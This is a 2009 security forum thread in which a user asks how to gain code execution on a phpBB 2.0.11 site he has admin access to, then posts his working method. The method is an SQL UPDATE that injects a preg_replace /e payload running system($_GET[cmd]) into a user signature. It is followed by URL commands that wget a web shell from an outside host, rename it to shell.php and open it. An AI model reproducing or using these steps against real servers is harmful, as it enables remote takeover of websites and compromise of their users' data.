 |
|
 |
 |
Menu |
 |
|
 Home |
| |
|
 Discussions |
| |
|
 Tools |
| |
|
| Affiliates |
| |
|
 Content |
| |
|
 Info |
| | |
|
|
|
|
|
User Info |
|
 Membership:
 Latest: MichaelSnaRe
 New Today: 0
 New Yesterday: 0
 Overall: 9144
 People Online:
 Visitors: 149
 Members: 0
 Total: 149
|
|
|
|
|
|
Full disclosure |
|
|
|
 |
|
 |
 |
|
 |
IT Security and Insecurity Portal |
|
|
Uploading Shell to phpBB 2.0.11. |
|
 Posted: Tue Dec 15, 2009 5:26 pm |
 |
|
| munglor |
| Regular user |
 |
|
| Joined: Nov 13, 2009 |
| Posts: 20 |
|
|
|
 |
|
 |
|
I have access to the Administration Panel and am using the
| Code: | | UPDATE phpbb_users SET user_sig_bbcode_uid='(.+)/e\0', user_sig='[shit here] WHERE userid=2 |
exploit, haven't been able to execute anything beyond loading the phpinfo() on the edit profile page. This is my first time doing this with phpBB2, I almost wish they'd upgraded to phpBB3 so I could just use the FAQ page one.
I have r57.txt uploaded on an external server already and have no idea what to do from there.
Guidance?
[I've already used the Search function here, just a lot of poor English from clueless users like myself and no real answers.] |
|
|
|
|
|
|
|
|
| Posted: Tue Dec 15, 2009 11:38 pm |
|
|
| munglor |
| Regular user |
|
|
| Joined: Nov 13, 2009 |
| Posts: 20 |
|
|
|
|
|
|
|
Ah, nevermind. Got it myself. 
EDIT - In case anyone was curious and for future reference, I ended up using system instead of passthru and just went with a simple cmd implementation on the profile page.
| Code: |
UPDATE phpbb_users SET user_sig_bbcode_uid='(.+)/e\0', user_sig='phpbb:system($_GET[cmd])' WHERE user_id=2; |
Then in the URL line I used the following cmds:
| Code: | | blahblah.net/profile.php?mode=editprofile&cmd=ls -lia |
to show the directory.
| Code: |
blahblah.net/profile.php?mode=editprofile&cmd=wget http://myhosting.com/myshell.txt
|
to pull the file to the server.
| Code: | | blahblah.net/profile.php?mode=editprofile&cmd=mv myshell.txt shell.php |
to rename the file as a .php script.
| Code: |
blahblah.net/profile.php?mode=editprofile&cmd=ls -lia |
to verify that the file "shell.php" was indeed on the server.
| Code: | | blahblah.net/shell.php |
to access the server through my uploaded shell.  |
|
|
|
|
|
www.waraxe.us Forum Index -> PhpBB
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
|
All times are GMT
Page 1 of 1
|
|
|
|
Powered by phpBB © 2001-2008 phpBB Group
|
|
|
|
|
|
|
